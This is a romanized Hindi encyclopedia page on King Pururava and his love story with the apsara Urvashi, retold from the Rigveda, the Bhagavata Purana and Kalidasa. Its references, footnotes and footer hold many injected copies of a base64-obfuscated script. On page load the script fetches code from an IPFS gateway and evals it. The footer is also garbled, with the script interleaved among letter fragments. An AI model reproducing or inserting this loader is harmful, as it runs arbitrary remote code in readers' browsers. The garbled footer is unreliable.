पुरूरवा

chitr:Disamb2.jpg puroorava

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- puroorava (bahuvikalpi)

pururava ya 'puroorava' prachin samay ke prasiddh raja the, jo ila ke putr the. inaki rajadhani pratishthanapur mean ganga nadi ke tat par prayag mean thi. puroorava budh^[1] tatha ila^[2] ke putr the.^[3] haravansh tatha any puranoan ke anusar devaguru brihaspati ki patni tara aur chandrama ke sanyog se budh utpann hue jo chandravansh ke adi purush the. budh ka ila ke sath vivah hua, jisake garbh se puroorava utpann hue, jo b de buddhiman tatha roopavan the.^[4] narad ke mukh se devasabha mean inake gunoan ka bakhan sunakar urvashi in par mugdh ho gee, aur vah bhoo-lok par ane ke lie lalayit ho uthi. rrigved tatha shrimadbhagavat mean pururava ki katha tho de-se aantar ke sath ati hai.

rrigved ke anusar

rrigved mean svarg ki apsara urvashi aur martyalok ke pururava ke prem prasang ki ajar-amar katha indralok aur prithvilok ke aantarsabandhoan ki spasht jhalak prastut karati hai.

katha

jab indr ki sabha mean pururava ki charcha urvashi ne suni, to vah man hi man usaki or akrisht huee. prithvilok ke manav ki or premakarshan se mitr aur varun ne krodhavash use mrityulok mean jane ka shap de dala. bhoo-lok mean param kantimay aur dev svaroop ila ka putr pururava urvashi par asakt ho gaya. usane us aniandy sundari ko apani jivan sangini bana liya. lekin devalok se chyut urvashi ne tin shartean rakhi-

pururava usaki sahamati se hi samagam kar sakega
nagn roop mean kabhi bhi dikhaee nahian dega
ek din mean tin bar se adhik aliangan nahian karega.

gandharvoan ka sh dayantr

pururava ke lie ye shartean samany thian, aur unamean sanyam-maryada nihit thi. isilie usane haan kar di. ab donoan sukhapoorvak rahane lage. urvashi ke shayanakaksh mean do mesh (medhe) the, jinhean vah putravat manati thi. devata gan aur indr svarg mean apratim sauandary ki devi urvashi ke abhav mean du:khi rahane lage. ve use svarg vapis lane ki yuktiyaan sochane lage. ek din vishvavasu aur anay gandharv chupake se urvashi ke meshoan ka apaharan karane a ge. shayanakaksh mean urvashi ne shor macha diya. pururava uthe aur meshoan ko gandharvoan se chhin liya. tabhi yojana ke anusar gandharvoan ne vahaan maya se prakash phaila diya aur urvashi ne pururava ko nagnavastha mean dekh liya. krodh se urvashi shart ke mutabiq svarg chali gee. pururava use dhooandhata raha. ek din premadagdh aur virah se vihal pururava kurukshetr mean vishvayojana namak ramanik sarovar tat par pahuancha. usane sarovar mean apoorv hansiniyoan ko jal kri da mean magn hote dekha. vastav mean ve sab svarg ki apsaraean thi, jo jal vihar ke lie utari thian.

urvashi se bheant

pururava unaki kri da dekh vibhor hota raha. ant mean kuchh samay pashchath ve hansiniyaan apsara ke roop mean a geean, lekin abhi ek hansini jal mean hi baithi thi aur pururava ko nihar rahi thi. vah urvashi apsara thi. usane virahadagdh pururava ko apani vivashata bataee ki svarg se ana usake lie sambhav nahian. isilie vah apana raj-kaj sambhale aur use bhool jaye. urvashi ne use jivit rahane ki prerana di aur dyulok mean vilin ho gee. jate samay vah kah gee ki vah garbhavati hai aur ek sal bad apani santan ko dekhane ke lie ae. ek ratri usake sath vyatit kare aur apane putr ko sath lekar jae. usane bataya ki devataoan ka kathan hai ki pururava mrityuanjay ho jayega aur yajn karake antat: svarg prapti ka adhikari banega.

gandharvoan ka upakar

ek varsh vyatit hone par pururava urvashi se milane ke lie gaya. usake alaukik prem par dev aur gandharv mugdh ho ge. unhoanne use pavitr agni di ki usase yajn karane par vah pavitr ho jaega. tab vah svarg mean rah sakega. thali mean sthapit dev agni aur putr ko lekar pururava prithvi par laut aya. ate samay usane vah thali aur agni kahian bhool se jangal mean hi chho d di. jab dubara inako lene aya to ve nahian milian. thali shami vriksh aur puny agni ashvatth (pipal) ban ge tatha shami ke garbh mean ashvatth sthit ho ge. pururava vikshipt-sa ghoomata raha. tabhi unaki vihvalata dekhakar gandharvoan ne darshan die aur kaha ki khoee vastu prapt nahian hoti hai, tumhare ajnanavash yah sab hua. yajnakarm se pun: kuchh prapt kar sakate ho. gandharvoan ne use yajn ki vidhi bata di. pururava ne ashvatth ki araniyoan ke manthan se yajn ki agni prapt ki. yajn karake vah gandharv bana. gandharv prasann hue ki pururava ke paurush se agni tin puny aanshoan mean sthapit huee-ahvaniy agni, garhapaty agni aur dakshin agni. kshatriy kul ka hote hue bhi usane brahmanatv ko gauravanvit kiya. gandharvoan ke varadan se vah soory ke samakaksh pratishthit hua. urvashi pavitr usha jal (osaviandu) ke saman aur unhean vaanchhit putr ayu kumar ke roop mean prapt hua aur digh digant mean-dev, gandharv, mrityu lok mean unaki premagatha ajar-amar huee.^[5]

shrimadbhagavat ke anusar

shrimadbhagavat aur puranoan mean bhi rrigved mean aee pururava ki katha mamooli se parivartan ke sath ati hai. ila ka vivah buddh se hua tha. usake divy santan huee aur usaka nam pururava rakha gaya. indr sabha ki apsara ne pururava ke saundary ki bat suni to kamasakt hokar milane ki lalasa se usake pas pahuanchi. pururava bhi usake apratim saundary par rijh gaya. urvashi ne usake sath sahavas svikar kar liya, lekin do shartean rakhian ki vah usake do mesh ke shishuoan ki dekhabhal karega, doosare samagam ke atirikt kabhi nagn, nirvastr nahian dikhega. kuchh samay bad svarg mean urvashi jaisi apsara nahian dikhaee di, to indr aur devata udas ho gaye. unhean jnat ho gaya ki vah pururava ke pas premasakt ho rahati hai.

tab indr ne gandharvoan ko use vapis lane ke lie bhoo-lok par bheja. unhoanne tarakib nikali, ki urvashi ke kaksh se mesh ke bachche chura lean. avaz sun pururava nagn ayega, to urvashi ke dekhane matr se vah svarg chali aegi. gandharvoan ne jab bachche churae, to ve mimiyane lage. pururava urvashi donoan jag ge. pururava ne bachche churate gandharvoan se chhin lie. lekin urvashi ne pururava ko nirvastr dekh liya, isase ruthakar vah indr sabha mean laut gee. premavikshapt pururava ko kuchh samay pashchath urvashi any apsaraoan ke sath van vihar karati mili. usane kaha ki vah ek varsh ke pashchath usase bheant kare, kyoanki us samay vah garbhavati thi. pururava ko pata chal gaya ki usane putr ko janm diya hai. usane gandharvoan ki stuti kar use sadaiv ke lie maanga. gandharvoan ne use agni sthapit thali di ki isase yajn sampann kare. vah bhramavash us agni poorit thali ko hi urvashi samajh vilap karata raha. tretayug ke arambh mean raja pururava ne urvashi ko pane ke lie narayan ki aradhana ki. isase vedatrayi aur agnitrayi ka avirbhav hua. is prakar dugdh dhaval sachche prem, snigdh man aur atoot prem bandhan ke karan mrityu lokavasi raja pururava aur dev-gandharv lok ki apsara urvashi tinoan lokoan mean khyat hue. ajar-amar hue.^[6]

kalidas natak ke anusar

kalidas ne puroorava aur urvashi ka vaidik aur uttar vaidik varnan kiya hai. kalidas ke natak mean urvashi ek komalaangi sukumar sundari hai. suralok ki sarvashreshth nartaki urvashi ko indr bahut chahate the. ek din jab chitrasen arjun ko sangit aur nrity ki shiksha de rahe the, vahaan par indr ki apsara urvashi aee aur arjun par mohit ho gee. avasar pakar urvashi ne arjun se kaha, "he arjun! apako dekhakar meri kam-vasana jagrit ho gee hai, atah ap kripaya mere sath vihar karake meri kam-vasana ko shaant karean." urvashi ke vachan sunakar arjun bole, "he devi! hamare poorvaj ne apase vivah karake hamare vansh ka gaurav badhaya tha atah puru vansh ki janani hone ke nate ap hamari mata ke tuly haian. devi! maian apako pranam karata hooan. "arjun ki batoan se urvashi ke man mean b da kshobh utpann hua aur usane arjun se kaha," tumane napuansakoan jaise vachan kahe haian, atah maian tumhean shap deti hooan ki tum ek varsh tak puansatvahin rahoge. "itana kahakar urvashi vahaan se chali gee. jab indr ko is ghatana ke vishay mean jnat hua to ve arjun se bole," vats! tumane jo vyavahar kiya hai, vah tumhare yogy hi tha. urvashi ka yah shap bhi bhagavan ki ichchha thi, yah shap tumhare ajnatavas ke samay kam ayega. apane ek varsh ke ajnatavas ke samay hi tum puansatvahin rahoge aur ajnatavas poorn hone par tumhean punah puansatv ki prapti ho jayegi."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bharatiy sanskriti kosh, bhag-2 |prakashak: yoonivarsiti pablikeshan, nee dilli-110002 |sanpadan: profesar devendr mishr |prishth sankhya: 504 tatha 505 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

↑ ail
↑ sudyamn stri roop mean
↑ matsyapuran 12.15; bhagavatapuran 9.1.35, 42; brahmaandapuran 3.65.45-6; 66.1.2.; 19-22; vayupuran 1.106; vishnupuran 4.1.12.16
↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 315 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ rrigved, sookt 95, mandal 5, sookt 41, mantr 19-20
↑ shrimadbhagavat, navamh skandh, adhyay 15/, harivanshapuran, 10, brahmapuran, 10, de.bha., 1/13, vi.pu.k, 4/6/34-94

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] ↑ ail

[2] sudyamn stri roop mean

[3] tsyapuran 12.15; bhagavatapuran 9.1.35, 42; brahmaandapuran 3.65.45-6; 66.1.2.; 19-22; vayupuran 1.106; vishnupuran 4.1.12.16

[4] uranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 315 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] rrigved, sookt 95, mandal 5, sookt 41, mantr 19-20

[6] shrimadbhagavat, navamh skandh, adhyay 15/, harivanshapuran, 10, brahmapuran, 10, de.bha., 1/13, vi.pu.k, 4/6/34-94

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[6]